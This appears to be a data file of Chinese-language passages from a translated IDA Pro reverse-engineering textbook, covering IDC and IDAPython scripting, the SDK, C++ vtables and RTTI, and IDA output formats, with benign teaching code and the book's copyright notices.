使用图形视图时，显示区很少能够一次显示某个函数的完整图形。这时，图形概况视图（➎，仅在使用图形视图时显示）可提供基本图形结构的缩小快照，其中的虚线矩形表示其在图形视图中的当前显示位置。在图形概况窗口内单击鼠标，可重新定位图形视图的显示位置。 输出窗口 （➏）显示的是 IDA 输出的信息。在这里，用户可以找到与文件分析进度有关的状态消息，以及由用户操作导致的错误消息。输出窗口基本上等同于一个控制台输出设备。 函数窗口 （➐）是默认 IDA 显示窗口的最后一部分，我们将在第 5 章详细讨论这些窗口。"},
    {"text": "在 SDK 4.9 版之前，由于这些接口发生变化，一个能够在 SDK 4.8 中成功编译的模块，如果不加以修改，将无法在新版 SDK （如4.9版）中编译，这种情况并不少见。 随着 SDK 4.9 版的引入，Hex-Rays 决定对现有的API 进行标准化，这表示，要使用新版 SDK 成功编译，模块不仅不需要经过修改，而且，模块还能与新版IDA 二进制兼容。"},
    {"text": "因为 SDK 的几个子目录的名称与IDA 的子目录的名称相同，因此，强烈建议你创建一个专用的 SDK 目录（比如 idasdk53 ），并将SDK 文件提取到这个目录中。"},
    {"text": "例如，x86_win_vc_32（6.1及更高版本）或vc.w32 （6.0及较低版本）子目录包含用于Visual Studio和Windows上的32 位IDA 的库，而x64_mac_gcc_64（6.1及更高版本）或gcc64.mac64（6.0及较低版本）子目录包含用于OS X上的64 位IDA 的库。"},
    {"text": "你也可以将问题张贴到Hex-Rays 支持论坛的Research & Resources （研究与资源）论坛中，如果幸运的话，其他熟悉 SDK 的IDA 用户可能会回答你的问题。"},
    {"text": "一些示例模块包含使用 Visual Studio构建的文件（例如，<SDKDIR>/plugins/vcsample），而 install_visual.txt提供了一系列步骤，可以使用 Visual C++ Express 2005正确配置 SDK 项目。"},
    {"text": "为了使用Unix 风格的工具、在一种 Unix 风格的系统（如 Linux）上或使用MinGW之类的环境构建模块，SDK 提供了一个名为 idamake.pl 的脚本，它可在开始构建过程之前，将 Borland风格的生成文件转换成 Unix 风格的生成文件。"},
    {"text": "说明 SDK 自带的命令行构建脚本要求一个名为 IDA 的环境变量指向<SDKDIR> 。 你可以通过编辑<SDKDIR>/allmake.mak和<SDKDIR>/allmake.unx文件设置这个变量，或在你的全局环境中添加一个 IDA 环境变量，为所有脚本设置这个变量。"},
    {"text": "第17章～第19 章所举的例子中包括一些并不依赖SDK 自带的任何构建脚本的生成文件和Visual Studio 项目文件，你可以轻松对它们进行修改，以满足自己的项目要求。"},
    {"text": "未知 A.1 IDA 免费版本的限制 如果你希望使用免费版本的 IDA ，必须遵守（可能还得忍受）以下限制并容忍功能上的删减。 免费版本只能用于非商业用途。 免费版本只提供 Windows GUI 版本。 免费版本缺乏最新版本的 IDA 引入的任何特性，包括版本5.1及更高版本提供的所有 SDK与脚本功能。 启动免费版本后，将显示一个介绍最新版本 IDA 功能的帮助页面。你可以禁用此特性，以免这个页面在随后启动免费版本时显示。 与商业版本相比，免费版本附带的插件要少得多。 免费版本只能反汇编 x86 代码（它只有一个处理器模块）。 免费版本只附带 8 个加载器模块，涵盖常用的 x86 文件类型，包括 PE、ELF 、Mach-O、MS-DOS、COFF 和a.out 。同时支持以二进制格式加载文件。 免费版本仅提供少数几个常用于 x86 二进制文件的类型库，包括那些用于GNU、Microsoft和Borland编译器的类型库。 免费版本自带的 IDC 脚本要远远少于 5.0版本，而且它不提供任何 Python 脚本，因为版本5.0的发布日期要早于集成 IDAPython 的日期。 免费版本也不提供 FLAIR 工具和SDK 。 免费版本只能用于调试本地 Windows 进程或二进制文件。该版本不提供远程调试功能。 IDA 免费版本的外观与所有商业版本的外观类似。至于免费版本的功能，其行为与本书（针对商业版本的 IDA ）所介绍的行为相似（即使不是完全相同）。因此，IDA 免费版本是你决定购买IDA 之前熟悉它的最佳途径。在非商业背景下（如学术环境中），如果x86 限制不会给你造成问题，你可以利用 IDA 免费版本学习反汇编与逆向工程的基础知识。 未知 15.8 小结 脚本为扩展 IDA 的功能提供了一个强大的工具。这些年来，它一直通过各种创新来满足IDA用户的需要。用户可以从 Hex-Rays 网站及前IDA Palace①的镜像站点下载许多有用的脚本。IDC脚本非常适用于小型任务和快速开发工作，但它们并不能解决一切问题。 IDC 语言的一个主要限制在于它不支持复杂的数据类型，并且无法访问功能更加全面的API，如C 标准库或 Windows API。如果以更高的复杂性为代价，我们可以用编译扩展代替脚本扩展，以消除这些限制。如下一章所述，编译扩展需要使用 IDA SDK，与IDC 相比，这个工具更加难以掌握。但是，SDK 在开发扩展方面的实力完全值得你付出努力，学习如何使用这个工具。"},
    {"text": "如下所示是合法与非法的 IDC 局部变量声明： auto addr, reg, val; // legal, multiple variables declared with no initializers auto count = 0; // declaration with initialization IDC 认可使用/* */的C 风格多行注释，以及使用//的C++ 风格行尾注释。"},
    {"text": "extern outsideGlobal; static main() { extern insideGlobal; outsideGlobal = \"Global\"; insideGlobal = 1; } 在IDA 会话过程中首次遇到全局变量时，IDA 将对全局变量进行分配，只要该会话处于活动状态，无论你打开或关闭多少个数据库这些变量都将始终有效。"},
    {"text": "如果需要进行逻辑右移位，你必须修改结果的最高位，自己移位，如下所示： result = (x >> 1) & 0x7fffffff; //set most significant bit to zero 由于字符串是 IDC 中的本地类型，因此，IDC 中的一些字符串运算与 C 中的字符串运算有所不同。"},
    {"text": "在IDC 中，给字符串变量中的字符串操作数赋值将导致字符串复制操作，因此，你不需要使用字符串来复制函数，如 C 语言中的 strcpy 和 strdup 函数。"},
    {"text": "auto str = \"String to slice\"; auto s1, s2, s3, s4; s1 = str[7:9]; // \"to\" s2 = str[:6]; // \"String\", omitting start index starts at 0 s3 = str[10:]; // \"slice\", omitting end index goes to end of string s4 = str[5]; // \"g\", single element slice, similar to array element access 需要注意的是，虽然 IDC 中并没有数组数据类型，但你可以使用分片运算符来处理 IDC 字符串，就好像它们是数组一样。"},
    {"text": "如下所示： auto i; for (i = 0; i < 10; i += 2) {} // illegal, += is not supported for (i = 0; i < 10; i = i + 2) {} // legal 在IDA 5.6 中，IDC 引入了 try/catch 块和相关的 throw 语句，在语法上它们类似于 C++ 异常 1 。"},
    {"text": "请看下面的例子： if (1) { //always true auto x; x = 10; } else { //never executes auto y; y = 3; } Message(\"x = %d\\n\", x); // x remains accessible after its block terminates Message(\"y = %d\\n\", y); // IDC allows this even though the else did not execute 输出语句（ Message 函数类似于 C 语言的 printf 函数）告诉我们： x=10 ， y=0 。"},
    {"text": "下面详细说明了一个用户定义的函数的基本结构： static my_func(x, y, z) { //declare any local variables first auto a, b, c; //add statements to define the function's behavior // ... } 在IDA5.6之前，所有函数参数都严格采用传值（call-by-value）传递，IDA5.6引入了传地址（call-by-reference ）参数传递机制。"},
    {"text": "auto q = 0, r = 1, s = 2; my_func(q, r, s); //all three arguments passed using call-by-value //upon return, q, r, and s hold 0, 1, and 2 respectively my_func(q, &r, s); //q and s passed call-by-value, r is passed call-by-reference //upon return, q, and s hold 0 and 2 respectively, but r may have //changed. In this second case, any changes that my_func makes to its //formal parameter y will be reflected in the caller as changes to r 注意，一个函数声明绝不会指明该函数是否明确返回一个值，以及在不生成结果时，它返回什么类型的值。"},
    {"text": "换言之，某些情况下，一个函数返回一个字符串； 而在其他情况下，这个函数却返回一个整数。 和 C 语言中一样，你不一定非要在函数中使用 return 语句。"},
    {"text": "static getFunc() { return Message; //return the built-in Message function as a result } static useFunc(func, arg) { //func here is expected to be a function reference func(arg); } static main() { auto f = getFunc(); f(\"Hello World\\n\"); //invoke the returned function f useFunc(f, \"Print me\\n\"); //no need for & operator, functions always call-by-reference } 15.2.5 IDC 对象 IDA 5.6 引入的另一项功能是能够定义类，并因此具有表示对象的变量。"},
    {"text": "class ExampleClass { ExampleClass(x, y) { //constructor this.a = x; //all ExampleClass objects have data member a this.b = y; //all ExampleClass objects have data member b } ~ExampleClass() { //destructor } foo(x) { this.a = this.a + x; } //... other member functions as desired }; static main() { ExampleClass ex; //DON’T DO THIS!! This is not a valid variable declaration auto ex = ExampleClass(1, 2); //reference variables are initialized by assigning //the result of calling the class constructor ex.foo(10); //dot notation is used to access members ex.z = \"string\"; //object ex now has a member z, BUT the class does not } 有关IDC 类及其语法的更多信息，请参阅 IDA 内置帮助文件中的相应章节。"},
    {"text": "下面详细说明了一个简单的IDC 程序文件的基本结构： #include // useful include directive //declare additional functions as required static main() { //do something fun here } IDC 认可以下 C 预处理指令。"},
    {"text": "创建一个数组后，随后要访问这个数组，必须通过一个整数句柄来实现，你可以通过查询数组名称获得这个句柄。 这个函数的返回值是一个用于将来与该数组交互的整数句柄。"},
    {"text": "全局数组的作用包括模拟全局变量、模拟复杂的数据类型、为所有脚本调用提供永久存储。 在数组开始执行时创建一个全局数组，然后将全局值存储到这个数组中，即可模拟这个数组的全局变量。"},
    {"text": "如果一个数组中存储的值仅适用于某个特定的脚本，那么，在这个脚本终止前，应该删除该数组。 删除数组可以确保全局值不会由同一个脚本的上一次执行传递到随后的执行中。"},
    {"text": "未知 1.3 为何反汇编 通常，使用反汇编工具是为了在没有源代码的情况下促进对程序的了解。需要进行反汇编的常见情况包括以下几种。 分析恶意软件。 分析闭源软件的漏洞。 分析闭源软件的互操作性。 分析编译器生成的代码，以验证编译器的性能和准确性。 在调试时显示程序指令。 下面详细介绍上述每一种情况。 1.3.1 分析恶意软件 通常，恶意软件的作者很少会提供他们“作品”的源代码，除非你对付的是一种基于脚本的蠕虫。由于缺乏源代码，要准确地了解恶意软件的运行机制，你的选择非常有限。动态分析和静态分析是分析恶意软件的两种主要技术。 动态分析 （dynamic analysis ）是指在严格控制的环境（沙盒）中执行恶意软件，并使用系统检测实用工具记录其所有行为。相反， 静态分析 （static analysis ）则试图通过浏览程序代码来理解程序的行为。此时，要查看的就是对恶意软件进行反汇编之后得到的代码清单。 1.3.2 漏洞分析 为了简单起见，我们将整个安全审核过程划分成 3 个步骤：发现漏洞、分析漏洞、开发破解程序（exploit ）。无论是否拥有源代码，都可以采用这些步骤来进行安全审核。但是，如果只有二进制文件，你可能需要付出巨大的努力。这个过程的第一个步骤，是发现程序中潜在的可供利用的条件。一般情况下，我们可通过模糊测试 1 等动态技术来达到这一目的，也可通过静态分析来实现（通常需要付出更大的努力）。一旦发现漏洞，通常需要对其进行深入分析，以确定该漏洞是否可被利用，如果可利用，可在什么情况下利用。 1.模糊测试是一种发现漏洞的技术，它为程序生成大量不常见的输入，希望其中一个输入会在程序中造成可被检测、分析，最终可被利用的错误。 至于编译器究竟如何分配程序变量，反汇编代码清单提供了详细的信息。例如，程序员声明的一个70 字节的字符数组，在由编译器分配时，会扩大到80 字节，知道这一点会很有用。另外，要了解编译器到底如何对全局声明或在函数中声明的所有变量进行排序，查看反汇编代码清单是唯一的办法。在开发破解程序时，了解变量之间的这些空间关系往往非常重要。最后，通过结合使用反汇编器和调试器，就可以开发出破解程序。 1.3.3 软件互操作性 如果仅以二进制形式发布软件，竞争对手要想创建可以和它互操作的软件，或者为该软件提供插件，将会非常困难。针对某个仅有一种平台支持的硬件而发布的驱动程序代码，就是一个常见的例子。如果厂商暂时不支持，或者更糟糕地，拒绝支持在其他平台上使用他们的硬件，那么为了开发支持该硬件的软件驱动程序，可能需要完成大量的逆向工程工作。在这些情况下，静态代码分析几乎是唯一的补救方法。通常，为了理解嵌入式固件，还需要分析软件驱动程序以外的代码。 1.3.4 编译器验证 由于编译器（或汇编器）的用途是生成机器语言，因此优秀的反汇编工具通常需要验证编译器是否符合设计规范。分析人员还可以从中寻找优化编译器输出的机会，从安全角度来看，还可查知编译器本身是否容易被攻破，以至于可以在生成的代码中插入后门，等等。 1.3.5 显示调试信息 在调试器中生成代码清单，可能是反汇编器最常见的一种用途。遗憾的是，调试器中内嵌的反汇编器往往相当简单。它们通常不能批量反汇编，在无法确定函数边界时，它们有时候会拒绝反汇编。因此，在调试过程中，为了解详细的环境和背景信息，最好是结合使用调试器与优秀的反汇编器。 未知 附录A 使用IDA 免费版本5.0 2010 年12月，Hex-Rays 对免费版本的 IDA 进行了重大升级，由版本 4.9升级到版本 5.0。免费版本的 IDA 是一个功能有限的应用程序。与最新版本的 IDA 相比，免费版本通常要落后好几个版本，而与相同版本的商业 IDA 相比，免费版本提供的功能要少得多。因此，免费版本不仅缺乏最新版本 IDA 所提供的任何新特性，其功能也比 IDA 5.0 的商业版本要少很多。 本附录旨在简单介绍 IDA 免费版本的功能，并指出免费版本与本书（针对最新版本的 IDA ）所描述的IDA 之间的主要区别。在开始介绍之前，需要注意的是，Hex-Rays 还提供 IDA 最新商业版本的一个演示版本。与免费版本一样，演示版本的功能也在许多方面进行了删减，并且无法保存你的工作。此外，演示版本会随时暂停（不保存你的工作），如果你希望恢复演示，就必须重新启动该版本。"},
    {"text": "未知 8.7 C++ 逆向工程基础 C++ 类是C 结构体面向对象的扩展，因此，在结束数据结构的讨论时，我们有必要介绍一下已编译的 C++ 代码的各种特性。"},
    {"text": "在源代码层次上完全掌握继承和多态等面向对象的概念会非常困难。 尝试在汇编语言层次上深入这些概念，但却不了解它们在源代码层次上的意义，毫无疑问，你会陷入困境。"},
    {"text": "以下面的函数调用为例： //object1, object2, and *p_obj are all the same type. object1.member_func(); object2.member_func(); p_obj->member_func(); 在3 次调用 member_func 的过程中， this 分别接受了 &object1 、 &object2 和 p_obj 这3 个值。"},
    {"text": "GNU g++ 编译器则把 this 看做是非静态成员函数的第一个（最左边）参数，并在调用该函数之前将用于调用函数的对象的地址作为最后一项压入栈中。"},
    {"text": "在一个函数中，在初始化之前使用 ECX 意味着调用方必定已经初始化了 ECX ，并且该函数可能是一个成员函数（虽然该函数可能只是使用了 fastcall 调用约定）。"},
    {"text": "如果该对象调用一个虚函数，则通过在该对象的虚表中进行查询来选择正确的函数。 因此，虚表是在运行时解析虚函数调用的基本机制。 下面我们举例说明虚表的作用。"},
    {"text": "以下面的 C++ 类定义为例： class BaseClass { public: BaseClass(); virtual void vfunc1() = 0; virtual void vfunc2(); virtual void vfunc3(); virtual void vfunc4(); private: int x; int y; }; class SubClass : public BaseClass { public: SubClass(); virtual void vfunc1(); virtual void vfunc3(); virtual void vfunc5(); private: int z; }; 在这个例子中， SubClass 是 BaseClass 的一个子类。 BaseClass 由4 个虚函数组成，而 SubClass 则包含5 个虚函数（ BaseClass 中的4 个函数加上一个新函数 vfunc5 ）。 在 BaseClass 中，其声明使用了 =0 ，说明 vfunc1 是一个 纯虚函数 。"},
    {"text": "因此， BaseClass 类型的实例化对象实际上有 3 个数据成员，而 SubClass 类型的实例化对象则有 4 个数据成员，且它们的第一个数据成员都是虚表指针。 在类 SubClass 中，虚表指针实际上由类 BaseClass 继承得来，而不是专门为类 SubClass 引入。"},
    {"text": "图8-14 一个简单的虚表布局 值得注意的是，SubClass 中包含两个指向属于BaseClass的函数（ BaseClass::vfunc2 和 BaseClass::vfunc4 ）的指针。"},
    {"text": "这种情况在使用 new 操作符 1 动态分配对象时最为明显，这时，传递给 new 的大小值不仅包括类（以及任何超类）中的所有显式声明的字段占用的空间，而且包括虚表指针所需的任何空间。 1. new 操作符在C++ 中用于动态内存分配，与C 中的 malloc 非常相似（尽管 new 是C++ 语言中的内置运算符，而 malloc 仅仅是一个标准库函数）。"},
    {"text": "void call_vfunc(BaseClass *b) { b->vfunc3(); } int main() { BaseClass *bc = new SubClass(); call_vfunc(bc); } 由于 vfunc3 是一个虚函数，因此，在这个例子中，编译器必须确保调用 SubClass::vfunc3 ，因为指针指向一个 SubClass 对象。 下面 call_vfunc 的反汇编版本说明了如何解析虚函数调用： .text:004010A0 call_vfunc proc near .text:004010A0 .text:004010A0 b = dword ptr 8 .text:004010A0 .text:004010A0 push ebp .text:004010A1 mov ebp, esp .text:004010A3 mov eax, [ebp+b] .text:004010A6 ➊ mov edx, [eax] .text:004010A8 mov ecx, [ebp+b] .text:004010AB ➋ mov eax, [edx+8] .text:004010AE ➌ call eax .text:004010B0 pop ebp .text:004010B1 retn .text:004010B1 call_vfunc endp 在➊处，虚表指针从结构体中读取出来，保存在 EDX寄存器中。"},
    {"text": "因此，我们可以定义一个结构体来表示一个类的虚表的布局，然后利用这个已定义的结构体来提高反汇编代码清单的可读性，如下所示： 00000000 SubClass_vtable struc ; (sizeof=0x14) 00000000 vfunc1 dd ? 00000004 vfunc2 dd ? 00000008 vfunc3 dd ? 0000000C vfunc4 dd ? 00000010 vfunc5 dd ? 00000014 SubClass_vtable ends 这个结构体允许将虚表引用操作重新格式化成以下形式： .text:004010AB mov eax, [edx+SubClass_vtable.vfunc3] 8.7.3 对象生命周期 了解对象的构建和撤销机制，有助于明确对象的层次结构和嵌套对象关系，并有助于迅速确定类构造函数和析构函数 2 。"},
    {"text": "对全局和静态分配的对象来说，构造函数在程序启动并进入 main 函数之前被调用。 栈分配的对象的构造函数在对象进入声明对象的函数作用域中时被调用。 许多时候，对象一进入声明它的函数，它的构造函数就被调用。 但是，如果对象在一个块语句中声明，那么，它的构造函数直到这个块被输入时才被调用（如果它确实被输入的话）。"},
    {"text": "执行程序员为析构函数指定的代码。 如果类拥有本身就是对象的数据成员，则执行这些成员的析构函数。 最后，如果对象拥有一个超类，则调用超类的析构函数。 通过了解超类的构造函数和析构函数何时被调用，我们可以通过相关超类函数的调用链，跟踪一个对象的继承体系。"},
    {"text": "8.7.4 名称改编 名称改编 也叫做 名称修饰 （name decoration ），是 C++ 编译器用于区分重载函数 3 的机制。 为了给重载函数生成唯一的名称，编译器用其他字符来修饰函数名称，用来编码关于函数的各种信息。"},
    {"text": "使用 Options ▶Demangled Names 打开如图8-15 所示的对话框，可以选择 IDA 的名称取消改编选项。 图8-15 取消改编名称的显示选项 对话框中有3 个主要选项，用于控制是否以注释的形式显示取消改编的名称（demangled name），是否对名称本身进行取消改编，或者根本不执行取消改编。"},
    {"text": "以注释的形式显示改编名称可得到以下代码： .text:00401050 ; protected: __thiscall SubClass::SubClass(void) ➊ text:00401050 ??0SubClass@@IAE@XZ proc near ... .text:004010DC ➋ call ??0SubClass@@IAE@XZ ; SubClass::SubClass(void) 同样，以名称显示改编名称得到以下代码： ➊ .text:00401050 protected: __thiscall SubClass::SubClass(void) proc near ... .text:004010DC ➋ call SubClass::SubClass(void) 其中，➊表示一个函数的反汇编代码清单的第一行，➋表示调用该函数。"},
    {"text": "Setup short names （设置短名称）和 Setup long names （设置长名称）按钮为取消改编名称的格式化提供了细化控制，其中包括大量选项，相关信息请查询 IDA 的帮助系统。"},
    {"text": "因为改编名称能提供大量与函数签名有关的信息，它们减少了 IDA 为理解传递给函数的参数的数量和类型所需的时间。 如果一个二进制文件使用了改编名称，IDA 的取消改编功能会立即揭示所有名称被改编的函数的参数类型和返回类型。"},
    {"text": "为实现这些操作，C++ 编译器必须将类型信息嵌入到一个程序的二进制文件中，并执行能够百分之百确定一个多态对象的类型的过程，而不管为访问该对象被取消引用的指针类型。"},
    {"text": "然而，与名称改编一样，RTTI（Runtime Type Identification ，运行时类型识别）也是一个编译器实现细节，而不是一个语言问题，因此，编译器没有标准的方法来实现 RTTI功能。"},
    {"text": "有关微软的RTTI实现的详细讨论，请参阅 8.7.7 节，其中详细说明了如何遍历一个类的继承体系，包括如何在存在多继承的情况下跟踪继承体系。"},
    {"text": "以下面这个利用多态的简单程序为例： class abstract_class{ public: virtual int vfunc() = 0; }; class concrete_class : public abstract_class { public: concrete_class(); int vfunc(); }; void print_type(abstract_class *p) { cout << typeid(*p).name() << endl; } int main() { abstract_class *sc = new concrete_class(); print_type(sc); } print_type 函数必须正确打印指针 p 所指向的对象的类型。"},
    {"text": "因为每个多态对象都包含一个指向虚表的指针，编译器将类的类型信息与类虚表存储在一起。 具体来说，编译器在类虚表之前放置一个指针，这个指针指向一个结构体，其中包含用于确定拥有虚表的类的名称所需的信息。 在 g++ 代码中，这个指针指向一个 type_info 结构体，其中包含一个指向类名称的指针。 在 Visual C++ 代码中，指针指向一个微软 RTTICompleteObjectLocator 结构体，其中又包含一个指向 TypeDescriptor 结构体的指针。 TypeDescriptor 结构体中则包含一个指定多态类名称的字符数组。"},
    {"text": "为此，我们可以轻易得出结论，BaseClass与SubClass 之间必定存在着某种关系，但到底SubClass 是BaseClass的子类，还是BaseClass是SubClass 的子类呢？"},
    {"text": "如果两个虚表包含相同数量的条目，则与这两个虚表对应的类之间可能存在着某种继承关系。 如果类X 的虚表包含的条目比类 Y 多，则 X 可能是Y 的子类。 如果X 包含的条目也可以在 Y 的虚表中找到，则必定存在下面一种关系：X 是Y 的子类，Y 是X 的子类，或者 X 和Y 全都是同一个超类 Z 的子类。 如果X 包含的条目也可以在类 Y 的虚表中找到，并且 X 的虚表中至少包含一个纯调用条目，而Y 的虚表中并没有这个条目，那么 Y 是X 的子类。"},
    {"text": "Paul Vincent Sabanal 和Mark Vincent Yason的论文“Reversing C++”，访问地址是 http://www.blackhat.com/presentations/bh-dc-07/Sabanal_Yason/Paper/bh-dc-07-Sabanal_Yason-WP.pdf 。"},
    {"text": "未知 3.5 IDA 用户界面 IDA 从MS-DOS 继承的特性至今仍然十分明显。无论使用哪一种界面（文本界面或 GUI ），IDA 都大量用到热键。虽然这并非坏事，但是，如果你想当然地认为自己正使用文本输入模式，并且发现几乎每一次击键都会导致相当意外的后果，那就说明 IDA 执行了某种热键操作。例如，在使用GUI 时，如果你定位光标以进行修改，并且希望你输入的内容全部出现在光标位置，这时就可能会出现令人意外的情况（IDA 可不像字处理程序）。 从数据输入的角度看，IDA 通过对话框接受几乎所有输入。因此，如果你希望在 IDA 中输入任何数据，则必须调出输入数据的对话框。IDA 的十六进制编辑功能是个例外，该功能只能通过Hex View 窗口获得。 最后，需要记住的是：IDA 不提供撤销功能 ！因此，如果不小心按下一个键，启动了一项热键操作，请不要浪费时间在 IDA 的菜单中寻找撤销功能，因为你根本找不到。同样，你也无法找到命令历史记录列表，以查明你刚刚执行的操作。 未知 版权信息 书名：IDA Pro权威指南（第2版） 作者：Chris Eagle 译者：石华耀， 段桂菊 ISBN：978-7-115-27368-0 本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。 您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 未知 7.5 小结 本章及前一章介绍了IDA 用户需要执行的最常见的操作。通过修改数据库，你可以将自己的知识与IDA 在分析阶段收集到的信息结合起来，生成更加有用的数据库。和源代码一样，有效使用名称、分配数据类型和详尽的注释不仅可帮助你记忆分析过程，还可为那些需要参考你的工作的人们提供极大的帮助。在下一章中，我们将继续深入研究IDA 的功能，了解如何处理更加复杂的数据结构（如C结构体表示的数据结构），并讨论编译C++ 代码的一些基础知识。"},
    {"text": "14.2.1 IDA 生成的MAP文件 .map 文件描述二进制文件的总体结构，包括与构成该二进制文件的节有关的信息，以及每节中符号的位置。 在生成 .map 文件时，IDA 会要求你为你要创建的文件取名，并说明你想要存储在.map 文件中的符号的类型。"},
    {"text": "MAP文件选项对话框如图 14-5 所示，你可以从中选择你希望包含在.map 文件中的信息。 图14-5 MAP文件生成选项 .map 文件中的地址信息用逻辑地址表示。"},
    {"text": "Start Length Name Class 0001:00000000 000008644H .text CODE 0002:00000000 000001DD6H .rdata DATA 0003:00000000 000002B84H .data DATA Address Publics by Value 0001:00000000 _main 0001:00000069 _fprintf IDA 生成的MAP文件与Borland的Turbo Debugger 兼容。"},
    {"text": "但是，许多时候，IDA 并不处理输入文件的每一节，因此，在将文件加载到数据库中时，某些信息将会遗失，这使得我们无法从数据库生成可执行文件。 举一个最简单的例子：默认情况下，IDA 并不加载 PE文件的资源节（.rsrc ），因此，你不可能通过数据库恢复资源节。"},
    {"text": "14.2.6 IDA 生成的DIF文件 IDA DIF 文件是一个纯文本文件，其中列出了一个 IDA 数据库中所有被修改的字节。 如果你希望根据对 IDA 数据库所做的更改来修补最初的二进制文件，DIF 文件是最有用的文件格式。"},
    {"text": "This difference file is created by The Interactive Disassembler dif_example.exe 000002F8: 83 FF 000002F9: EC 75 000002FA: 04 EC 000002FB: FF 68 这个文件的第一行是注释，第一行是最初的二进制文件的名称，随后则是文件中被修改的字节列表。"},
    {"text": "14.2.7 IDA 生成的HTML 文件 IDA 利用HTML 的标记功能生成彩色的反汇编代码清单。 基本上，IDA 生成的HTML 文件就是一个添加了 HTML 标记的LST 文件，它生成的列表的颜色与真正的 IDA 反汇编窗口使用的颜色类似。"},
    {"text": "未知 17.8 小结 虽然随着脚本化插件的出现，你可以暂时不必深入研究SDK ，但是如果脚本无法满足你扩展IDA 功能的需求，你自然会想到 IDA 插件。此外，实际上，除非你面临挑战，需要对 IDA 不认识的文件格式进行逆向工程，或者对 IDA 没有处理器模块的机器语言进行逆向工程，否则，插件可能是唯一需要你研究的编译扩展。 但是，在下面两章中，我们将继续探讨 IDA SDK 的功能，了解你可以构建用于 IDA 的其他类型的模块：加载器模块和处理器模块。 未知 版权声明 Copyright © 2011 by Chris Eagle. Title of English-language original: The IDA Pro Book: The Unofficial Guide to the World’s Most Popular Disassembler, Second Edition ISBN 978-1-59327-289-0, published by No Starch Press. Simplified Chinese-language edition copyright © 2012 by Posts and Telecom Press. All rights reserved. 本书中文简体字版由No Starch Press授权人民邮电出版社独家出版。未经出版者书面许可， 不得以任何方式复制或抄袭本书内容。 版权所有，侵权必究。 未知 15.7 IDAPython 脚本示例 为将IDC 与IDAPython 进行比较，在下面几节中，我们将提供与前面讨论 IDC 时相同的示例。我们尽可能充分利用特定于 Python 的功能，以在一定程度上说明以 Python 编写脚本所带来的效率。 15.7.1 枚举函数 IDAPython 的一个主要优点在于，它使用 Python 的强大数据类型来简化对数据库对象集合的访问。在代码清单 15-8 中，我们以 Python 重新实现了代码清单 15-1 列出的函数枚举脚本。回想一下，这段脚本的目的在于遍历数据库中的每一个函数，并打印出与每个函数有关的基本信息，包括函数的起始和结束地址、函数参数的大小、函数的局部变量空间的大小。所有输出全部在消息窗口中显示。 代码清单 15-8 使用Python 枚举函数 funcs = Functions()➊ for f in funcs: ➋ name = Name(f) end = GetFunctionAttr(f, FUNCATTR_END) locals = GetFunctionAttr(f, FUNCATTR_FRSIZE) frame = GetFrame(f) # retrieve a handle to the function’s stack frame if frame is None: continue ret = GetMemberOffset(frame, \" r\") # \" r\" is the name of the return address if ret == -1: continue firstArg = ret + 4 args = GetStrucSize(frame) – firstArg Message(\"Function: %s, starts at %x, ends at %x\\n\" % (name, f, end)) Message(\" Local variable area is %d bytes\\n\" % locals) Message(\" Arguments occupy %d bytes (%d args)\\n\" % (args, args / 4)) 在这段特殊的脚本中，使用 Python 除了用到有助于执行➋处 for 循环的 Functions （➊）列表生成器外，并没有为我们提高多大效率。 15.7.2 枚举指令 代码清单15-9 说明如何利用 idautils 模块中的列表生成器以 Python 编写代码清单 15-2 列出的指令计数脚本。 代码清单 15-9 使用Python 枚举指令 from idaapi import * func = get_func(here())➊ # here() is synonymous with ScreenEA() if not func is None: fname = Name(func.startEA) count = 0 for i in FuncItems(func.startEA) ➋ : count = count + 1 Warning(\"%s contains %d instructions\\n\" % (fname,count)) else: Warning(\"No function found at location %x\" % here()) 与IDC 版本的不同包括使用 SDK 函数（➊，通过 idaapi 访问）来检索对函数对象（具体为 func_t ）的引用，并使用 FuncItems 生成器（➋，取自 idautils ）以便于遍历函数内的所有指令。由于我们无法在生成器上使用 Python 的 len 函数，因此我们仍然需要检索生成器列表，以逐个计算每一条指令。 15.7.3 枚举交叉引用 idautils 模块包含几个生成器函数，使用它们可以生成比我们在IDC 中看到的列表更直观的交叉引用列表。代码清单 15-10 重写了我们之前在代码清单 15-3 中看到的函数调用枚举脚本。 代码清单 15-10 使用 Python 枚举函数调用 from idaapi import * func = get_func(here()) if not func is None: fname = Name(func.startEA) items = FuncItems(func.startEA) for i in items: for xref in XrefsFrom(i, 0): ➊ if xref.type == fl_CN or xref.type == fl_CF: Message(\"%s calls %s from 0x%x\\n\" % (fname, Name(xref.to), i)) else: Warning(\"No function found at location %x\" % here()) 这段脚本的新内容是使用 XrefsFrom 生成器（➊ ，取自 idautils ）从当前指令中检索所有交叉引用。 XrefsFrom 将返回对 xrefblk_t 对象（其中包含有关当前交叉引用的详细信息）的引用。 15.7.4 枚举导出的函数 代码清单 15-11是代码清单15-5 中.idt 生成器脚本的 Python 版本。 代码清单 15-11 生成 IDT 文件的Python 脚本 file = AskFile(1, \"*.idt\", \"Select IDT save file\") with open(file, 'w') as fd: fd.write(\"ALIGNMENT 4\\n\") fd.write(\"0 Name=%s\\n\" % GetInputFile()) for i in range(GetEntryPointQty()): ord = GetEntryOrdinal(i) if ord == 0: continue addr = GetEntryPoint(ord) if ord == addr: continue #entry point has no ordinal fd.write(\"%d Name=%s\" % (ord, Name(addr))) purged = GetFunctionAttr(addr, FUNCATTR_ARGSIZE) if purged > 0: fd.write(\" Pascal=%d\" % purged) fd.write(\"\\n\") 这两段脚本看起来非常类似，因为 IDAPython 没有用于生成入口点列表的生成器函数，所以我们必须使用在代码清单15-5 中使用的同一组函数。不过，有一个值得我们注意的区别：IDAPython 没有采用IDC 的文件处理函数，而是使用了 Python 内置的文件处理函数。"},
